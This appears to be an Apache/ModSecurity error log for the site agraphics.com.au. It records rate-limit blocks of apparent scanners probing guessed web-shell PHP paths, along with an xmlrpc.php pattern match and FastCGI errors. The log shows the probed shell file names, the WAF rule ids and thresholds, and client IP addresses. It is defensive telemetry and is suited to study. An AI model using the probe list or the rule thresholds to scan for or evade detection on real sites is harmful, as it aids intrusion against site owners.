[Thu Apr 23 10:43:00.307906 2026] [:error] [pid 59700:tid 59711] [client 20.216.138.65:11224] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aemHNJXyGZJFeAIDWtmxlAAAAUk"]
[Thu Apr 23 10:43:00.962251 2026] [:error] [pid 59700:tid 59702] [client 20.216.138.65:30433] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aemHNJXyGZJFeAIDWtmxlQAAAUA"]
[Thu Apr 23 10:43:01.742995 2026] [:error] [pid 42973:tid 43053] [client 20.216.138.65:11201] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aemHNW6I0QqmmmLTHE0ecgAAAIo"]
[Thu Apr 23 10:43:02.324402 2026] [:error] [pid 25635:tid 25650] [client 20.216.138.65:30459] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aemHNsRxv6UsgRGKB3IJdwAAAQs"]
[Thu Apr 23 10:43:02.902274 2026] [:error] [pid 42973:tid 43067] [client 20.216.138.65:54497] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aemHNm6I0QqmmmLTHE0ecwAAAJg"]
[Thu Apr 23 10:43:03.435684 2026] [:error] [pid 25635:tid 25661] [client 20.216.138.65:11151] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aemHN8Rxv6UsgRGKB3IJeAAAARY"]
[Thu Apr 23 10:43:04.046136 2026] [:error] [pid 42972:tid 43035] [client 20.216.138.65:54465] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aemHOMOAb-3sOknsk4dYNAAAAFM"]
[Thu Apr 23 10:43:04.598729 2026] [:error] [pid 42972:tid 43025] [client 20.216.138.65:27300] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aemHOMOAb-3sOknsk4dYNwAAAEk"]
[Thu Apr 23 10:43:05.316511 2026] [:error] [pid 42972:tid 43034] [client 20.216.138.65:27307] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aemHOcOAb-3sOknsk4dYOQAAAFI"]
[Thu Apr 23 10:43:05.985371 2026] [:error] [pid 59700:tid 59715] [client 20.216.138.65:30462] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aemHOZXyGZJFeAIDWtmxnQAAAU0"]
[Thu Apr 23 10:43:06.509071 2026] [:error] [pid 42972:tid 43018] [client 20.216.138.65:30404] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aemHOsOAb-3sOknsk4dYQgAAAEI"]
[Thu Apr 23 10:43:07.142809 2026] [:error] [pid 42972:tid 43032] [client 20.216.138.65:30441] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aemHO8OAb-3sOknsk4dYRgAAAFA"]
[Thu Apr 23 10:43:07.746196 2026] [:error] [pid 46953:tid 46976] [client 20.216.138.65:30415] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aemHO0nlpdHh-P6wKbra-gAAAlQ"]
[Thu Apr 23 10:43:08.261559 2026] [:error] [pid 64998:tid 65005] [client 20.216.138.65:27283] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aemHPIV5EysYcTLjmwikzAAAAcM"]
[Thu Apr 23 10:43:08.777473 2026] [:error] [pid 42972:tid 43029] [client 20.216.138.65:27279] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aemHPMOAb-3sOknsk4dYTgAAAE0"]
[Thu Apr 23 10:43:09.480288 2026] [:error] [pid 42972:tid 43035] [client 20.216.138.65:11176] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aemHPcOAb-3sOknsk4dYUQAAAFM"]
[Thu Apr 23 10:43:10.013526 2026] [:error] [pid 65000:tid 65041] [client 20.216.138.65:11237] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aemHPr6vRb9j6psK2ZY3EAAAAgg"]
[Thu Apr 23 10:43:10.602840 2026] [:error] [pid 46953:tid 46957] [client 20.216.138.65:27280] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aemHPknlpdHh-P6wKbra_wAAAkE"]
[Thu Apr 23 10:43:11.170985 2026] [:error] [pid 46953:tid 46958] [client 20.216.138.65:11213] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aemHP0nlpdHh-P6wKbrbAgAAAkI"]
[Thu Apr 23 10:43:11.735471 2026] [:error] [pid 46953:tid 46960] [client 20.216.138.65:27313] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aemHP0nlpdHh-P6wKbrbBgAAAkQ"]
[Thu Apr 23 10:43:12.319731 2026] [:error] [pid 59700:tid 59709] [client 20.216.138.65:11200] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aemHQJXyGZJFeAIDWtmxoAAAAUc"]
[Thu Apr 23 10:43:12.986858 2026] [:error] [pid 65000:tid 65055] [client 20.216.138.65:27277] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aemHQL6vRb9j6psK2ZY3EQAAAhY"]
[Thu Apr 23 10:43:13.628035 2026] [:error] [pid 42971:tid 43003] [client 20.216.138.65:11210] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aemHQTEP2_5RswrH8bHv9QAAABE"]
[Thu Apr 23 10:43:14.292946 2026] [:error] [pid 65000:tid 65042] [client 20.216.138.65:11240] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aemHQr6vRb9j6psK2ZY3FQAAAgk"]
[Thu Apr 23 10:43:14.907971 2026] [:error] [pid 65000:tid 65032] [client 20.216.138.65:54486] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aemHQr6vRb9j6psK2ZY3FgAAAgM"]
[Thu Apr 23 10:43:15.502937 2026] [:error] [pid 43083:tid 43086] [client 20.216.138.65:11233] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aemHQzC5hrvNXosL83Iv3wAAAME"]
[Thu Apr 23 10:43:16.496053 2026] [:error] [pid 65000:tid 65048] [client 20.216.138.65:27305] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aemHRL6vRb9j6psK2ZY3GAAAAg8"]
[Thu Apr 23 10:43:17.000845 2026] [:error] [pid 42973:tid 43063] [client 20.216.138.65:27318] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aemHRG6I0QqmmmLTHE0efAAAAJQ"]
[Thu Apr 23 10:43:17.641373 2026] [:error] [pid 42973:tid 43043] [client 20.216.138.65:34322] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aemHRW6I0QqmmmLTHE0efwAAAIA"]
[Thu Apr 23 10:43:18.362193 2026] [:error] [pid 65000:tid 65043] [client 20.216.138.65:27304] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aemHRr6vRb9j6psK2ZY3GwAAAgo"]
[Thu Apr 23 10:43:18.935740 2026] [:error] [pid 42972:tid 43028] [client 20.216.138.65:27292] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aemHRsOAb-3sOknsk4dYXwAAAEw"]
[Thu Apr 23 10:43:19.514430 2026] [:error] [pid 42972:tid 43038] [client 20.216.138.65:11172] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aemHR8OAb-3sOknsk4dYYQAAAFY"]
[Thu Apr 23 10:43:20.040601 2026] [:error] [pid 42972:tid 43025] [client 20.216.138.65:30442] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aemHSMOAb-3sOknsk4dYZAAAAEk"]
[Thu Apr 23 10:43:20.659574 2026] [:error] [pid 65000:tid 65030] [client 20.216.138.65:34317] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aemHSL6vRb9j6psK2ZY3HgAAAgE"]
[Thu Apr 23 10:43:21.160523 2026] [:error] [pid 42972:tid 43034] [client 20.216.138.65:11225] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aemHScOAb-3sOknsk4dYagAAAFI"]
[Thu Apr 23 10:43:21.708157 2026] [:error] [pid 65000:tid 65051] [client 20.216.138.65:27287] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aemHSb6vRb9j6psK2ZY3HwAAAhI"]
[Thu Apr 23 10:43:22.257849 2026] [:error] [pid 42972:tid 43031] [client 20.216.138.65:11208] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aemHSsOAb-3sOknsk4dYbQAAAE8"]
[Thu Apr 23 10:43:22.871926 2026] [:error] [pid 42973:tid 43050] [client 20.216.138.65:11238] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aemHSm6I0QqmmmLTHE0egQAAAIc"]
[Thu Apr 23 10:43:23.463851 2026] [:error] [pid 42972:tid 43020] [client 20.216.138.65:27295] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aemHS8OAb-3sOknsk4dYcwAAAEQ"]
[Thu Apr 23 10:43:24.030737 2026] [:error] [pid 65000:tid 65039] [client 20.216.138.65:30420] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aemHTL6vRb9j6psK2ZY3IQAAAgY"]
[Thu Apr 23 10:43:24.675151 2026] [:error] [pid 42972:tid 43037] [client 20.216.138.65:34325] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aemHTMOAb-3sOknsk4dYdgAAAFU"]
[Thu Apr 23 10:43:25.271378 2026] [:error] [pid 42972:tid 43019] [client 20.216.138.65:11139] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aemHTcOAb-3sOknsk4dYeQAAAEM"]
[Thu Apr 23 10:43:25.905464 2026] [:error] [pid 64967:tid 64992] [client 20.216.138.65:30445] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aemHTYAV4GfOOdX8Qzo_-AAAAZc"]
[Thu Apr 23 10:43:26.509162 2026] [:error] [pid 59700:tid 59716] [client 20.216.138.65:27272] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aemHTpXyGZJFeAIDWtmxqgAAAU4"]
[Thu Apr 23 10:43:27.063975 2026] [:error] [pid 59700:tid 59710] [client 20.216.138.65:11140] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aemHT5XyGZJFeAIDWtmxrAAAAUg"]
[Thu Apr 23 10:43:27.590078 2026] [:error] [pid 43083:tid 43103] [client 20.216.138.65:30450] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aemHTzC5hrvNXosL83Iv6gAAANI"]
[Thu Apr 23 10:43:28.093529 2026] [:error] [pid 43083:tid 43108] [client 20.216.138.65:34347] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aemHUDC5hrvNXosL83Iv7AAAANc"]
[Thu Apr 23 10:43:28.692132 2026] [:error] [pid 42971:tid 42991] [client 20.216.138.65:11202] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aemHUDEP2_5RswrH8bHv-gAAAAU"]
[Thu Apr 23 10:43:29.260017 2026] [:error] [pid 43083:tid 43109] [client 20.216.138.65:11242] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aemHUTC5hrvNXosL83Iv7gAAANg"]
[Thu Apr 23 10:43:29.845380 2026] [:error] [pid 42973:tid 43059] [client 20.216.138.65:27269] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aemHUW6I0QqmmmLTHE0ehQAAAJA"]
[Thu Apr 23 16:20:41.824684 2026] [:error] [pid 46953:tid 46971] [client 113.199.243.124:49883] [client 113.199.243.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.199.243.124, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aenWWUnlpdHh-P6wKboHVwAAAk8"]
[Thu Apr 23 16:20:41.835278 2026] [proxy_fcgi:error] [pid 46953:tid 46971] [client 113.199.243.124:49883] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:55.988443 2026] [proxy_fcgi:error] [pid 64998:tid 65002] [client 158.158.123.88:42504] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:56.091724 2026] [proxy_fcgi:error] [pid 64998:tid 65010] [client 158.158.123.88:4314] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:56.233770 2026] [proxy_fcgi:error] [pid 64998:tid 65013] [client 158.158.123.88:42504] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:56.460151 2026] [proxy_fcgi:error] [pid 64998:tid 65018] [client 158.158.123.88:4314] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:56.572105 2026] [proxy_fcgi:error] [pid 64998:tid 65009] [client 158.158.123.88:42504] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:56.704422 2026] [proxy_fcgi:error] [pid 64998:tid 65024] [client 158.158.123.88:4314] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:56.848155 2026] [proxy_fcgi:error] [pid 64998:tid 65004] [client 158.158.123.88:42504] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:57.049673 2026] [proxy_fcgi:error] [pid 64998:tid 65021] [client 158.158.123.88:4314] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:57.090320 2026] [proxy_fcgi:error] [pid 64998:tid 65012] [client 158.158.123.88:42504] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:17:57.326138 2026] [:error] [pid 64998:tid 65007] [client 158.158.123.88:4314] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeocBYV5EysYcTLjmwh4IwAAAcU"]
[Thu Apr 23 21:17:57.347405 2026] [:error] [pid 64998:tid 65025] [client 158.158.123.88:42504] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocBYV5EysYcTLjmwh4JAAAAdc"]
